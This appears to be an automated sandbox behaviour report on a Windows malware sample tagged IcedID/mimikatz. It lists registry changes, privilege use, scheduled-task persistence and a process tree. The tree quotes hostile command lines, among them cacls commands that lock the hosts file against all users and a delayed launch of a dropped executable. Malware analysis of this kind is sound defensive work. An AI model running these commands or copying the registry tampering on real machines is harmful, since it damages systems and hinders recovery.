Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

mgmtcbi.exenetsh.exenet1.exenet.exenetsh.execmd.exenet1.execacls.exesc.execacls.exenet.exenet1.execmd.exenet1.execmd.exenetsh.execmd.exenetsh.exenet.execmd.execmd.exesc.execacls.execmd.execmd.exenetsh.execmd.execmd.exenet.execmd.execmd.exenetsh.exenetsh.execmd.exenetsh.execmd.exemgmtcbi.exewpcap.exeschtasks.exeschtasks.exenetsh.execmd.exenetsh.exenetsh.execacls.exenetsh.exenetsh.exenet1.exenet1.execmd.exesc.execmd.exexcllyg.execmd.exenet1.exeliuibviiz.execmd.exenet1.exePING.EXEnetsh.exenet.exebtuizeiim.exe2024-11-04_d3e6d3752f148a7d87320707ca7d6d01_hacktools_icedid_mimikatz.exenet1.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mgmtcbi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mgmtcbi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wpcap.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcllyg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	liuibviiz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	btuizeiim.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-11-04_d3e6d3752f148a7d87320707ca7d6d01_hacktools_icedid_mimikatz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

Processes:

cmd.exePING.EXE

pid	Process
5100	cmd.exe
4704	PING.EXE

NSIS installer 3 IoCs

installer

Processes:

resource	yara_rule
behavioral2/files/0x0007000000023c9b-6.dat	nsis_installer_2
behavioral2/files/0x0007000000023cad-15.dat	nsis_installer_1
behavioral2/files/0x0007000000023cad-15.dat	nsis_installer_2

Modifies data under HKEY_USERS 47 IoCs

Processes:

iyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exemgmtcbi.exeiyibcmiuc.exeiyibcmiuc.exe

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	mgmtcbi.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	mgmtcbi.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	mgmtcbi.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	mgmtcbi.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	mgmtcbi.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	mgmtcbi.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	iyibcmiuc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	iyibcmiuc.exe

Modifies registry class 14 IoCs

Processes:

mgmtcbi.exe

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	mgmtcbi.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

Processes:

PING.EXE

pid	Process
4704	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid	Process
3600	schtasks.exe
2016	schtasks.exe
3984	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

mgmtcbi.exe

pid	Process
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe

Suspicious behavior: LoadsDriver 15 IoCs

Processes:

pid	Process
652
652
652
652
652
652
652
652
652
652
652
652
652
652
652

Suspicious behavior: RenamesItself 1 IoCs

Processes:

2024-11-04_d3e6d3752f148a7d87320707ca7d6d01_hacktools_icedid_mimikatz.exe

pid	Process
920	2024-11-04_d3e6d3752f148a7d87320707ca7d6d01_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

2024-11-04_d3e6d3752f148a7d87320707ca7d6d01_hacktools_icedid_mimikatz.exemgmtcbi.exemgmtcbi.exevfshost.exeiyibcmiuc.exeltbtbc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exeiyibcmiuc.exe

description	pid	Process
Token: SeDebugPrivilege	920	2024-11-04_d3e6d3752f148a7d87320707ca7d6d01_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	408	mgmtcbi.exe
Token: SeDebugPrivilege	4920	mgmtcbi.exe
Token: SeDebugPrivilege	1504	vfshost.exe
Token: SeDebugPrivilege	4964	iyibcmiuc.exe
Token: SeLockMemoryPrivilege	1620	ltbtbc.exe
Token: SeLockMemoryPrivilege	1620	ltbtbc.exe
Token: SeDebugPrivilege	2052	iyibcmiuc.exe
Token: SeDebugPrivilege	444	iyibcmiuc.exe
Token: SeDebugPrivilege	972	iyibcmiuc.exe
Token: SeDebugPrivilege	2980	iyibcmiuc.exe
Token: SeDebugPrivilege	1676	iyibcmiuc.exe
Token: SeDebugPrivilege	4108	iyibcmiuc.exe
Token: SeDebugPrivilege	3492	iyibcmiuc.exe
Token: SeDebugPrivilege	2516	iyibcmiuc.exe
Token: SeDebugPrivilege	4712	iyibcmiuc.exe
Token: SeDebugPrivilege	4120	iyibcmiuc.exe
Token: SeDebugPrivilege	2880	iyibcmiuc.exe
Token: SeDebugPrivilege	4676	iyibcmiuc.exe
Token: SeDebugPrivilege	428	iyibcmiuc.exe
Token: SeDebugPrivilege	1568	iyibcmiuc.exe
Token: SeDebugPrivilege	3872	iyibcmiuc.exe
Token: SeDebugPrivilege	3388	iyibcmiuc.exe
Token: SeDebugPrivilege	5436	iyibcmiuc.exe
Token: SeDebugPrivilege	1452	iyibcmiuc.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

2024-11-04_d3e6d3752f148a7d87320707ca7d6d01_hacktools_icedid_mimikatz.exemgmtcbi.exemgmtcbi.exexohudmc.exexcllyg.exemgmtcbi.exemgmtcbi.exe

pid	Process
920	2024-11-04_d3e6d3752f148a7d87320707ca7d6d01_hacktools_icedid_mimikatz.exe
920	2024-11-04_d3e6d3752f148a7d87320707ca7d6d01_hacktools_icedid_mimikatz.exe
408	mgmtcbi.exe
408	mgmtcbi.exe
4920	mgmtcbi.exe
4920	mgmtcbi.exe
4284	xohudmc.exe
4516	xcllyg.exe
4164	mgmtcbi.exe
4164	mgmtcbi.exe
6028	mgmtcbi.exe
6028	mgmtcbi.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

2024-11-04_d3e6d3752f148a7d87320707ca7d6d01_hacktools_icedid_mimikatz.execmd.exemgmtcbi.execmd.execmd.exewpcap.exenet.exenet.exenet.exe

description	pid	Process	procid_target
PID 920 wrote to memory of 5100	920	2024-11-04_d3e6d3752f148a7d87320707ca7d6d01_hacktools_icedid_mimikatz.exe	85
PID 920 wrote to memory of 5100	920	2024-11-04_d3e6d3752f148a7d87320707ca7d6d01_hacktools_icedid_mimikatz.exe	85
PID 920 wrote to memory of 5100	920	2024-11-04_d3e6d3752f148a7d87320707ca7d6d01_hacktools_icedid_mimikatz.exe	85
PID 5100 wrote to memory of 4704	5100	cmd.exe	87
PID 5100 wrote to memory of 4704	5100	cmd.exe	87
PID 5100 wrote to memory of 4704	5100	cmd.exe	87
PID 5100 wrote to memory of 408	5100	cmd.exe	93
PID 5100 wrote to memory of 408	5100	cmd.exe	93
PID 5100 wrote to memory of 408	5100	cmd.exe	93
PID 4920 wrote to memory of 2712	4920	mgmtcbi.exe	96
PID 4920 wrote to memory of 2712	4920	mgmtcbi.exe	96
PID 4920 wrote to memory of 2712	4920	mgmtcbi.exe	96
PID 2712 wrote to memory of 4504	2712	cmd.exe	98
PID 2712 wrote to memory of 4504	2712	cmd.exe	98
PID 2712 wrote to memory of 4504	2712	cmd.exe	98
PID 2712 wrote to memory of 4896	2712	cmd.exe	99
PID 2712 wrote to memory of 4896	2712	cmd.exe	99
PID 2712 wrote to memory of 4896	2712	cmd.exe	99
PID 2712 wrote to memory of 1944	2712	cmd.exe	100
PID 2712 wrote to memory of 1944	2712	cmd.exe	100
PID 2712 wrote to memory of 1944	2712	cmd.exe	100
PID 2712 wrote to memory of 4348	2712	cmd.exe	102
PID 2712 wrote to memory of 4348	2712	cmd.exe	102
PID 2712 wrote to memory of 4348	2712	cmd.exe	102
PID 2712 wrote to memory of 2852	2712	cmd.exe	103
PID 2712 wrote to memory of 2852	2712	cmd.exe	103
PID 2712 wrote to memory of 2852	2712	cmd.exe	103
PID 2712 wrote to memory of 736	2712	cmd.exe	104
PID 2712 wrote to memory of 736	2712	cmd.exe	104
PID 2712 wrote to memory of 736	2712	cmd.exe	104
PID 4920 wrote to memory of 884	4920	mgmtcbi.exe	106
PID 4920 wrote to memory of 884	4920	mgmtcbi.exe	106
PID 4920 wrote to memory of 884	4920	mgmtcbi.exe	106
PID 4920 wrote to memory of 1992	4920	mgmtcbi.exe	108
PID 4920 wrote to memory of 1992	4920	mgmtcbi.exe	108
PID 4920 wrote to memory of 1992	4920	mgmtcbi.exe	108
PID 4920 wrote to memory of 2296	4920	mgmtcbi.exe	110
PID 4920 wrote to memory of 2296	4920	mgmtcbi.exe	110
PID 4920 wrote to memory of 2296	4920	mgmtcbi.exe	110
PID 4920 wrote to memory of 3868	4920	mgmtcbi.exe	114
PID 4920 wrote to memory of 3868	4920	mgmtcbi.exe	114
PID 4920 wrote to memory of 3868	4920	mgmtcbi.exe	114
PID 3868 wrote to memory of 4264	3868	cmd.exe	116
PID 3868 wrote to memory of 4264	3868	cmd.exe	116
PID 3868 wrote to memory of 4264	3868	cmd.exe	116
PID 4264 wrote to memory of 4280	4264	wpcap.exe	117
PID 4264 wrote to memory of 4280	4264	wpcap.exe	117
PID 4264 wrote to memory of 4280	4264	wpcap.exe	117
PID 4280 wrote to memory of 5072	4280	net.exe	119
PID 4280 wrote to memory of 5072	4280	net.exe	119
PID 4280 wrote to memory of 5072	4280	net.exe	119
PID 4264 wrote to memory of 460	4264	wpcap.exe	120
PID 4264 wrote to memory of 460	4264	wpcap.exe	120
PID 4264 wrote to memory of 460	4264	wpcap.exe	120
PID 460 wrote to memory of 3448	460	net.exe	122
PID 460 wrote to memory of 3448	460	net.exe	122
PID 460 wrote to memory of 3448	460	net.exe	122
PID 4264 wrote to memory of 4500	4264	wpcap.exe	123
PID 4264 wrote to memory of 4500	4264	wpcap.exe	123
PID 4264 wrote to memory of 4500	4264	wpcap.exe	123
PID 4500 wrote to memory of 4144	4500	net.exe	125
PID 4500 wrote to memory of 4144	4500	net.exe	125
PID 4500 wrote to memory of 4144	4500	net.exe	125
PID 4264 wrote to memory of 1028	4264	wpcap.exe	126

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2164
- C:\Windows\TEMP\untipbtiz\ltbtbc.exe
  "C:\Windows\TEMP\untipbtiz\ltbtbc.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1620

C:\Users\Admin\AppData\Local\Temp\2024-11-04_d3e6d3752f148a7d87320707ca7d6d01_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-11-04_d3e6d3752f148a7d87320707ca7d6d01_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:920
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\ybemumnz\mgmtcbi.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:5100
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4704
- - C:\Windows\ybemumnz\mgmtcbi.exe
    C:\Windows\ybemumnz\mgmtcbi.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:408

C:\Windows\ybemumnz\mgmtcbi.exe
C:\Windows\ybemumnz\mgmtcbi.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4920
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
